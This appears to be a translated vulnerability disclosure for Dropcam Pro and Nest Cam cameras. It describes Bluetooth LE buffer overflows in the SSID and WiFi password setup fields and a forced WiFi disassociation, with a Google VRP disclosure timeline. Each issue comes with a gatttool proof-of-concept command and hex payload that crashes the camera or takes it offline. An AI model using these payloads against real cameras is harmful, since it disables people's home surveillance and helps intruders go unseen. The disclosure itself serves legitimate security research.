受影响设备:Dropcam Pro、Nest Cam 室内/室外机型
受影响的最新固件版本:205-600052
部分修复的固件版本:205-600055
更新 最新的固件版本 205-600055 并未修复 Dropcam Pro 中的 WiFi 断连(disassociation)漏洞。如果提供的 WiFi 网络不存在,重新关联时间已得到改进,现在大约 10 秒内即可重新连接。但是,仍然可以提供有效的 WiFi 网络,使 Dropcam 永久离线。
披露时间线:
2016 年 10 月 26 日:根据 Google 漏洞奖励计划(Vulnerability Reward Program)指南报告了该安全漏洞
2016 年 10 月 27 日:Google 安全团队确认已收到报告并正在调查
2016 年 11 月 1 日:Google 安全团队验证了所报告的漏洞并提交了 bug
2016 年 11 月 15 日:Google 的 VRP 评审小组以「非整合收购」类别发放了 100 美元奖励
2017 年 3 月 17 日:公开披露
由 Troy Stribling 开发的 PoC iOS 应用 :: NestPWN
概述
在相机上设置 SSID 参数时,有可能触发缓冲区溢出条件。攻击者只需在相机通电状态下的任意时刻处于蓝牙范围内即可。即使初始设置完成后,蓝牙也从未被禁用。
概念验证
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
详细信息
该载荷尝试设置一个长度为 1 字节的 SSID,并发送了 16 字节。
SequenceNum=3a + Type=0312 + Length=01 + Value=AA*16
结果
崩溃并重启,恢复正常运行状态
概述
在相机上设置加密密码参数时,有可能触发缓冲区溢出条件。攻击者只需在相机通电状态下的任意时刻处于蓝牙范围内即可。即使初始设置完成后,蓝牙也从未被禁用。
概念验证
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
详细信息 该载荷尝试设置一个长度为 1 字节的加密 WiFi 密码,并发送了 3 字节。 SequenceNum=3a + Type=0312 + Length=0b + ssidVal=506574536d6172742d356e + type=1a + length=01 + encPass=AA*3
概述
通过向相机提供一个要连接的新 SSID,可以使其断开与 WiFi 的连接。这些相机不支持本地存储视频录像,因此监控会被暂时禁用。攻击者只需在相机通电状态下的任意时刻处于蓝牙范围内即可。即使初始设置完成后,蓝牙也从未被禁用。
概念验证
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b0a6574536d6172742d356e1a20232320
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3becb824ba437c13233ac2ff78b1776456e47a01
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3ca5787d2f5e53f394a512200228003210bc9253
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3d48cada7a0d921d57b2d26ae89c3a04DEADBEEF
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3e
Characteristic value was written successfully
结果
崩溃并重启,恢复正常运行状态
Characteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfully[18:B4:30:5D:00:B8][LE]> 详细信息
该载荷尝试更改 Nest Cam 关联的 SSID,导致其与当前 WiFi SSID 暂时断连。
seqNum + 0312(type) 0b(len) + SSID + 1a(type) 20(len) + encPass
seqNum + encPass(cont)
seqNum + encPass(cont) + 2002280032(constant) + 10(len) + authTag
seqNum + authTag(cont) + 3a(UnknownType) 04(len) + DEADBEEF
seqNum(execute)
结果
相机会断开与当前 WiFi 网络的连接,以尝试关联新设置的 SSID。如果该 WiFi 网络不存在,相机会离线约 60-90 秒,然后返回原始 WiFi 网络并恢复正常运行。如果该网络存在,它会检查 Internet 连接并保持在新网络上。